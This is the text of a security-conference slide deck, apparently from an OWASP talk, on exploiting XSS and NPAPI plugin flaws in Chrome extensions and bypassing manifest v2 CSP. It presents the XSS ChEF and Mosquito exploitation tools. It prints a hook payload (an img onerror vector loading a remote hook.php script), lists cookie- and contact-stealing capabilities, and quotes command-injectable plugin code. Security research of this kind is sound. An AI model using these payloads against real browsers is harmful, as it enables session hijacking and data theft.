I'm in ur browser, pwning your stuff

Attacking (with) Google Chrome extensions

Krzysztof Kotowicz
SecuRing
kkotowicz@securing.pl

OWASP

Copyright 2007 © The OWASP Foundation
Permission is granted to copy, distribute and/or modify this document under the terms of the OWASP License.
About me

- Security research
  - client side security
  - HTML5
  - UI redressing
  - Chrome extensions
  - Black Hat USA, BruCON, Hack in Paris, CONFidence, ...

- IT security consultant @ SecuRing
  - web app, mobile pentests
  - security code reviews
Plan

- Chrome Extensions architecture
- Exploiting legacy (v1) extensions
- Manifest v2 fixes
- Exploiting v2 extensions

"Break The Batman Part 3" by Eric Merced / Eric Merced aka stickfiguredancer
Chrome Extensions

- **Not** plugins (Java, Flash, ...)
- HTML5 applications
  - html, javascript, css
- Installed from Chrome Web Store
- Access to privileged API
  - chrome.tabs
  - chrome.bookmarks
  - chrome.history
  - chrome.cookies
Chrome Extensions - components

- UI pages
  - background page
  - option pages
  - extension UI

- Content scripts
  - run alongside website
  - interaction with websites
Diagram by Wade Alcorn. Thanks!
Chrome Extensions - manifest

- Manifest lists permissions, UI pages, content scripts

```json
{
  "manifest_version": 2,
  "name": "Sample Extension",
  "content_scripts": [
    {
      "matches": ["http://www.google.com/*"],
      "js": ["jquery.js", "myscript.js"
    }
  ],
  "background": {
    "page": "background.html"
  },
  "permissions": [
    "tabs",
    "bookmarks",
    "cookies"
    "http://*/*",
    "https://*/*",
  ]
}
```
## Chrome Extensions - restrictions

<table>
<thead>
<tr>
<th>Scheme</th>
<th>Websites</th>
<th>Chrome API</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>UI page</strong></td>
<td>chrome-extension://</td>
<td>✗ limited by permissions</td>
</tr>
<tr>
<td><strong>Content script</strong></td>
<td>http://</td>
<td>✔ limited by URL</td>
</tr>
</tbody>
</table>
Isolated worlds

- content script JS
- website JS
- DOM
Exploiting v1 extensions
UI page DOM XSS

- content-script takes data off website DOM
- sends it to UI page
- view fails to escape data upon viewing it

- cross-zone DOM XSS
Operating System

Chrome Browser

Web Page
- Page Scripts
- DOM

Extension
- Content Scripts

Security Boundary

NPAPI Plugin

chrome.ext API
UI page DOM XSS

- Consequences
  - XSS in chrome-extension://
  - access to chrome.* API
UI page DOM XSS

- Consequences
  - XSS in chrome-extension://
  - access to chrome.* API
Exploiting UI page XSS

https://github.com/koto/xsschef

- Chrome Extension Exploitation Framework
- BEEF for Chrome extensions
XSS ChEF

**Hook code**

First, you need to find a XSS vulnerable Chrome extension. I won’t help here. Once you’ve found it, inject Chrome extension with a hook vector:

```javascript
if(location.protocol.indexOf('chrome')===0){d=document;e=createElement('script');e.src='http://localhost/xsschef/hook.php';d.body.appendChild(e);}
```

For example:

```html
<img src=x onerror="if(location.protocol.indexOf('chrome')===0){d=document;e=createElement('script');e.src='http://localhost/xsschef/hook.php';d.body.appendChild(e);}"/>
```

After hook has been executed, launch this console (in a separate browser), choose hooked session by clicking on the �� and start having fun!
XSS ChEF

XSS ChEF - Chrome Extension Exploitation Framework

Log

reporting persistent
reporting tabs
reporting persistent
reporting tabs
reporting tabs
reporting tabs
reporting tabs
reporting tabs
reporting tabs
reporting tabs
reporting tabs
reporting tabs
reporting tabs
reporting tabs
reporting tabs
XSS ChEF

Choose hooked session

Each hook below represents single browser session that XSS has been activated in. Choose one you’d like to exploit:

choose...
c3590977550 - 127.0.0.1 2012-07-22 12:40:06
c2478745429 (c2478745429) - 127.0.0.1 2012-07-22 12:40:06

ID  Window  Title
2     1       Inbox (22) - securityvictim@gmail.com - Gmail
4     1       Mozilla Developer Network
6     1       Płatności i przelewy internetowe — system PayPal
XSS ChEF

- does extension have plugins
- get manifest file
- delete URL from history
- reset proxy settings
- get cookies
- search history
- set proxy settings
- do I have local file access
- grab Google contacts
- remove cookie
- have you visited google
- set cookie
- get installed apps
- get proxy settings

```javascript
chrome.bookmarks.search("http", __logEval);
```

```json
[
  {
    "dateAdded": 1314661004359,
    "id": "23",
    "index": 0,
    "parentId": "21",
    "title": "Gmail",
    "url": "https://mail.google.com/"
  },
  {
    "dateAdded": 1317319149162,
    "id": "26"
  }
]
```
Chrome extensions v1 summary

- UI page XSS is very common
  - note taking
  - developer tools
  - RSS readers
- Each XSS has big impact

- How do you eradicate XSS without relying on developers?
Content Security Policy 1.1
W3C Editor's Draft 10 October 2012

This version:
http://dvcs.w3.org/hg/content-security-policy/raw-file/tip/csp-specification.dev.html

Latest published version:
http://www.w3.org/TR/CSP/

Latest editor's draft:
http://dvcs.w3.org/hg/content-security-policy/raw-file/tip/csp-specification.dev.html

Previous version:
none

Editors:
Brandon Sterne, Mozilla Corporation
Adam Barth, Google, Inc.
Mike West, Google, Inc.

Copyright © 2010-2012 W3C® (MIT, ERCIM, Keio), All Rights Reserved. W3C liability, trademark and
document use rules apply.
Manifest v2 fixes
Manifest v2

- **Content Security Policy** obligatory for UI pages

  ```
  script-src 'self'; object-src 'self'
  ```

  - no eval()
  - no inline scripting
  - no external scripts

- XSS exploitation very difficult

- Manifest v1 extensions slowly deprecating
  - Jan 2014 - Chrome stops running them

- All fixed?
Exploiting v2 extensions
UI page XSS - new vectors

- eval() used in JS templating libraries
  - mustachejs
  - underscorejs
  - jQuery template
  - hoganjs
  - ...

- Possible to relax CSP to allow unsafe-eval

- Some extensions use it
Content script XSS

- Content scripts not subject to CSP
- Go figure...
Operating System

Chrome Browser

Web Page

Page Scripts

Extension

Content Scripts

Security Boundary

Background Page

NPAPI Plugin

chrome.ext API
Content script XSS

- XSS in http://
- chrome-extension **CSP** bypass
- access to DOM
- access to cookies
As sexy as self XSS...

dâ€™ere and back again...

A hobbitâ€™s tale, by Bilbo Baggins
Content script XSS

- website CSP bypass
- “Content scripts can also make cross-site XMLHttpRequests to the same sites as their parent extensions”
  - [http://developer.chrome.com/extensions/content_scripts.html](http://developer.chrome.com/extensions/content_scripts.html)
Content script XSS

- website **CSP** bypass
- “Content scripts can also make cross-site XMLHttpRequests to the same sites as their parent extensions”
  - [http://developer.chrome.com/extensions/content_scripts.html](http://developer.chrome.com/extensions/content_scripts.html)

  "permissions": [
    "http://*/*",
    "https://*/*",
  ]
Content script XSS

- website **CSP** bypass
- “Content scripts can also make cross-site XMLHttpRequests to the same sites as their parent extensions”

```
"permissions": [
  "http:///**/*",
  "https:///**/*",
]
```

40%
Content script XSS

- Introducing Mosquito

https://github.com/koto/mosquito

- (Another) Chrome Extension XSS Exploitation tool
- XSS-Proxy for the new era
Mosquito

x = new XMLHttpRequest();
x.open("GET", 'http://gmail.com', false);
x.setRequestHeader('X-Mosquito', 'yeah!');
x.send(null);

GET http://gmail.com HTTP/1.1
Host: gmail.com
X-Mosquito: yeah!

- inspired by MalaRIA by Erlend Oftedal
- and BeEF tunneling proxy by @antisnatchor
DEMO TIME

- v 1.0.3.3
- https://chrome.google.com/webstore/detail/anydo/kdadialhpiikehpdeejjejiiikopddkjem
- 0.5 mln users
- found by Sergey Belov
**NPAPI plugins vulnerabilities**

- UI page gets the payload
- Forwards it to NPAPI plugin
- Binary vulnerability in plugin
  - buffer overflow
  - command injection
  - ...
- Code run with OS user permission
- No sandbox!
Operating System

Chrome Browser

Web Page

Page Scripts

Content Scripts

Extension

Background Page

Security Boundary

chrome.ext API

NPAPI Plugin
Operating System

Chrome Browser

Web Page

- Page Scripts
- DOM

Extension

- Security Boundary
- Background Page

NPAPI Plugin

chrome.ext API
NPAPI plugins vulnerabilities

CR-GPG 0.7.4

FB::variant gmailGPGAPI::encryptMessage(const FB::variant& recipients, const FB::variant& msg)
{
    string gpgFileLocation = ""+m_appPath +"gpg.exe" ";
    //...
    vector<string> peopleToSendTo = recipients.convert_cast<
vector<string>>();
    string cmd = "c:\windows\system32\cmd.exe /c ";
    cmd.append(gpgFileLocation);
    cmd.append("-e --armor");
    cmd.append(" --trust-model=always");
    for (unsigned int i = 0; i < peopleToSendTo.size(); i++) {
        cmd.append(" -r");
        cmd.append(peopleToSendTo.at(i));
    }
    cmd.append(" --output ");
NPAPI plugins vulnerabilities

CR-GPG 0.7.4

FB::variant gmailGPGAPI::encryptMessage(const FB::variant& recipients, const FB::variant& msg)
{
    string gpgFileLocation = "\""+m_appPath +"gpg.exe\" " ;
    //...
    vector<string> peopleToSendTo = recipients.convert_cast<vector<string>> ();
    string cmd = "c:\windows\system32\cmd.exe /c ";
    cmd.append(gpgFileLocation);
    cmd.append("-e --armor");
    cmd.append(" --trust-model=always");
    for (unsigned int i = 0; i < peopleToSendTo.size(); i++) {
        cmd.append(" -r");
        cmd.append(peopleToSendTo.at(i));
    }
    cmd.append(" --output ");
}

-----BEGIN PGP MESSAGE-----
Version: GnuPG v1.4.10 (GNU/Linux)
hQIOA5iUCyMfX/D2EAgAhiks40xo5gNu9XSI02jrjTIShwFWK2d7+9xlv9uJDN...
-----END PGP MESSAGE-----
Bonus

- CSP bypass through filesystem: API
- Filesystem API - virtual filesystem for HTML app
  - filesystem:http://example.com/file.png
  - filesystem:chrome-extension://<id>/path.html

- Postman - REST client
- v 0.8.1
- 180K users
  - including @webtonull
Summary

- Chrome extensions v2 still XSSable
- CSP should be treated as **mitigation**, not prevention
- New tools for attack
EOF

- @kkotowicz
- http://blog.kotowicz.net
- https://github.com/koto
- More research:
  - Kyle Osborn, Matt Johansen – Hacking Google ChromeOS (Black Hat 2011)
- Thanks: @0x[0-9a-f]{10}, @webtonull, @wisecwisec, @johnwilander, @garethheyes, @antisnatchor, @freddyb, @internot, @pdjstone, ...